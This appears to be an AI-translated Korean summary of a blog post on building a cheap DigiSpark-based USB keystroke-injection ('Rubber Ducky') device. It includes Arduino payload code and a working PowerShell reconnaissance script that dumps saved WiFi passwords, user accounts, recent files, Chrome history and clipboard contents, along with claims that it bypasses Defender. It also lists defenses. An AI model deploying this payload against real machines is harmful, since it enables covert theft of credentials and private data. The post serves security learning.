3달러짜리 러버 더키(Rubber Ducky)를 직접 만들어 보았습니다
요약
저렴한 DigiSpark ATtiny85 마이크로컨트롤러를 사용하여 키보드 에뮬레이션 장치인 '러버 더키(Rubber Ducky)'를 직접 제작하는 방법을 소개합니다. Arduino IDE를 활용해 페이로드를 작성하고 시스템 정보를 수집하는 정찰 페이로드를 구축하는 과정을 다룹니다.
핵심 포인트
- DigiSpark ATtiny85를 이용해 초저가형 러버 더키 제작 가능
- HID(Human Interface Device) 공격의 원리와 위험성 이해
- Arduino IDE를 활용한 키보드 입력 자동화 페이로드 작성법
- 시스템 정보 및 네트워크 설정을 수집하는 정찰 페이로드 구현
해커 영화를 보면서 누군가 USB를 꽂자마자 몇 초 만에 컴퓨터를 장악하는 장면을 본 적이 있다면 — 그것은 할리우드의 마법이 아닙니다. 그것은 바로 러버 더키(Rubber Ducky)입니다. 그리고 저는 이를 150루피(₹150) 미만의 비용으로 직접 만들었습니다.
그 과정을 어떻게 진행했는지, 이를 통해 무엇을 배웠는지, 그리고 왜 모든 보안 전공 학생들이 이를 직접 만들어 보아야 하는지에 대해 설명하겠습니다.
러버 더키(Rubber Ducky)란 무엇인가?
러버 더키(Rubber Ducky)는 키보드인 척하는 USB 장치입니다. 장치를 꽂는 순간, 운영 체제(OS)는 이를 완전히 신뢰합니다. 키보드는 드라이버 승인이나 관리자 권한(Admin permissions)이 필요하지 않기 때문입니다.
일단 신뢰를 얻으면, 초인적인 속도로 미리 프로그래밍된 명령어를 "타이핑"하기 시작합니다. 초당 1,000번의 키 입력(Keystrokes)을 말하는 것입니다. 당신이 눈을 깜빡이는 사이에, 이미 PowerShell을 열고, 스크립트를 실행한 뒤, 창을 닫아버립니다.
오리지널 Hak5 Rubber Ducky는 약 80달러 정도 합니다. 저는 이것을 150루피(₹150)에 만들었습니다.
사용 도구
DigiSpark ATtiny85 — 인도 아마존에서 120~150루피(₹120–150)
Arduino IDE — 무료
Windows 테스트용 기기 (제 노트북)
15분
그게 전부입니다. 납땜도 필요 없고, 특별한 기술도 필요 없습니다. 그저 엄지손가락 크기의 아주 작은 마이크로컨트롤러(Microcontroller)만 있으면 됩니다.
설정 방법
1단계 — Arduino IDE 설치
arduino.cc에서 다운로드하여 정상적으로 설치합니다.
2단계 — DigiSpark 보드 지원 추가
File → Preferences로 이동하여 'Additional Board Manager URLs'에 다음을 붙여넣습니다:
http://digistump.com/package_digistump_index.json
그 다음 Tools → Board → Board Manager로 이동하여 Digistump를 검색하고 설치합니다.
3단계 — 드라이버 설치
Windows에서 DigiSpark를 사용하려면 Micronucleus 드라이버가 필요합니다. 공식 Digistump GitHub에서 다운로드하여 설치 프로그램을 실행하세요.
4단계 — 첫 번째 페이로드(Payload) 작성하기
이 코드는 메모장을 열고 메시지를 입력합니다 — 저의 첫 번째 "공격"입니다:
cpp#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R
DigiKeyboard.delay(500);
DigiKeyboard.print("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Hello. Your keyboard is now mine.");
}
void loop() {}
코드를 업로드하고, DigiSpark를 연결한 뒤 스스로 타이핑하는 모습을 지켜보세요. 처음 그 모습을 목격했을 때의 느낌은 정말 남다릅니다.
정찰 페이로드 (Recon Payload) 구축하기
기초적인 단계를 마친 후, 저는 제 컴퓨터를 위한 완전한 정찰 페이로드 (Recon Payload)를 구축했습니다. 목표는 공격자가 단 한 번의 물리적 접근을 통해 수집할 수 있는 것들을 시뮬레이션하는 것이었습니다.
10초 이내에 수집되는 항목은 다음과 같습니다:
| 항목 | 사용된 명령 (Command Used) |
|---|---|
| 시스템 정보, OS, 패치 상태 | systeminfo |
| 현재 사용자 + 권한 | whoami /all |
| 네트워크 설정 + 열린 포트 | ipconfig, netstat |
| 저장된 WiFi 비밀번호 | netsh wlan |
| 실행 중인 프로세스 | Get-Process |
| 설치된 소프트웨어 | Registry query |
| 로컬 사용자 및 관리자 | Get-LocalUser |
| 최근 파일 (데스크톱, 문서, 다운로드) | Get-ChildItem |
| Chrome 방문 기록 | Direct file copy |
| 클립보드 내용 | Get-Clipboard |
전체 PowerShell 페이로드는 다음과 같습니다:
powershell
$out = "$env:TEMP\recon"
New-Item -ItemType Directory -Force -Path $out | Out-Null
시스템 정보 (System info)
systeminfo > "$out\sysinfo.txt"
whoami /all >> "$out\sysinfo.txt"
네트워크 (Network)
ipconfig /all > "$out\network.txt"
netstat -ano >> "$out\network.txt"
arp -a >> "$out\network.txt"
WiFi 비밀번호 (WiFi passwords)
(netsh wlan show profiles) | Select-String "All User Profile" | ForEach-Object {
$n = ($_ -split ":")[1].Trim()
$p = netsh wlan show profile name=$n key=clear
"$n : $(($p | Select-String 'Key Content').ToString().Split(':')[1].Trim())"
} > "$out\wifi.txt"
프로세스 및 소프트웨어 (Processes & software)
Get-Process | Select Name,Id,CPU | Export-Csv "$out\processes.csv" -NoTypeInformation
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall* |
Select DisplayName,DisplayVersion | Export-Csv "$out\software.csv" -NoTypeInformation
사용자 (Users)
Get-LocalUser > "$out\users.txt"
Get-LocalGroupMember Administrators >> "$out\users.txt"
최근 파일 (Recent files)
Get-ChildItem "$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads"
-Recurse -ErrorAction SilentlyContinue |
Select FullName,LastWriteTime | Export-Csv "$out\recentfiles.csv" -NoTypeInformation
Chrome 기록 (Chrome history)
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" "$out\chrome_history" -ErrorAction SilentlyContinue
클립보드 (Clipboard)
Get-Clipboard > "$out\clipboard.txt"
모든 것이 %TEMP%\recon에 덤프됩니다. PowerShell 창은 완전히 숨겨진 상태로 실행되며, 팝업이나 UAC(사용자 계정 컨트롤) 프롬프트가 나타나지 않습니다.
소름 끼치는 부분 (The Scary Part)
이것이 저를 가장 많이 놀라게 한 점입니다—모든 것을 우회했습니다.
✅ Windows Defender? 경고하지 않았습니다. 단순히 키보드 입력일 뿐입니다.
✅ 안티바이러스(Antivirus)? 마찬가지입니다. 전통적인 의미에서 파일이 '실행'된 것이 아닙니다.
✅ 방화벽(Firewall)? 로컬 수집에는 무관합니다.
바로 이것이 물리적 보안이 선택 사항이 아닌 이유입니다. 자리를 비울 때 화면을 잠그는 것은 이 유형의 공격에 대한 문자 그대로의 마지막 방어선입니다.
제가 배운 것 (What I Learned)
- 신뢰가 취약점이다 (Trust is the vulnerability) OS는 HID 장치를 무조건 신뢰합니다. 그 신뢰가 바로 공격 표면(attack surface)입니다. 패치로 고칠 수 없습니다—설계상 그렇습니다.
- 속도가 중요하다 (Speed matters) 30초가 걸리는 페이로드(payload)는 위험합니다. 8초 만에 끝나는 것은 치명적입니다. 페이로드를 최적화하는 과정에서 Windows가 명령을 실행하는 방식에 대해 많은 것을 배웠습니다.
- 물리적 접근 = 게임 오버 (Physical access = game over) 모든 침투 테스트(pentesting) 인증서들이 이 말을 합니다. 이 도구를 만들면서 저도 그렇게 느꼈습니다. 누군가가 잠금 해제된 컴퓨터를 10초 동안 얻는다면, 그들은 그것을 소유하게 됩니다.
- DuckyScript는 정식 언어이다 (DuckyScript is a proper language) 페이로드를 작성하면서 공격자처럼 생각하게 되었습니다—지연 시간(delays), 오류 처리(error handling), 무음 실행(silent execution), 유출(exfiltration) 등이요. 저수준(low-level)이지만 사고방식을 빠르게 날카롭게 만듭니다.
이것에 대항하는 방법 (How to Defend Against This)
제가 이 취약점을 발견했으니, 이제 해결 방법을 알려드리겠습니다:
🔒 자리를 비울 때마다 화면을 잠그세요 — Win + L
🚫 기업용 기기에서는 그룹 정책 (Group Policy)을 통해 USB 포트를 비활성화하세요
🛡️ Linux의 USBGuard — 알려진 장치만 화이트리스트 (Whitelist)에 등록합니다
📡 새로운 HID 장치 등록 이벤트를 모니터링하는 EDR 도구
🔌 보안 수준이 높은 환경을 위한 물리적 USB 포트 차단기 (USB port blockers)
다음 단계 (What's Next)
저는 Pico-Ducky 펌웨어가 실행되는 Raspberry Pi Pico로 업그레이드할 예정입니다. 이는 전체 DuckyScript 3.0을 지원하고, 실행 속도가 더 빠르며, 점퍼 와이어 (Jumper wire)를 통해 공격 모드와 저장 장치 모드 사이를 전환할 수 있습니다.
또한, 새로운 HID 장치가 등록되는 것을 감지하고 실시간으로 알림을 보내는 방어용 모니터링 스크립트를 제작하는 후속 글도 작성할 계획입니다.
마치며 (Final Thoughts)
이 도구를 만드는 데 든 비용은 150루피(₹150)와 15분이었습니다. 이 과정을 통해 얻은 지식은 물리적 보안 (Physical security)에 관한 그 어떤 교과서의 내용보다 가치 있습니다.
만약 여러분이 사이버 보안 (Cybersecurity)을 배우고 있다면 — 직접 만들어 보세요. 공격에 대해 읽기만 하지 마세요. 여러분의 하드웨어에서 직접 공격을 시뮬레이션하고, 왜 작동하는지 이해한 다음, 어떻게 막을 수 있는지 찾아내세요.
그것이 바로 해커의 마인드셋 (Hacker mindset)입니다.
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기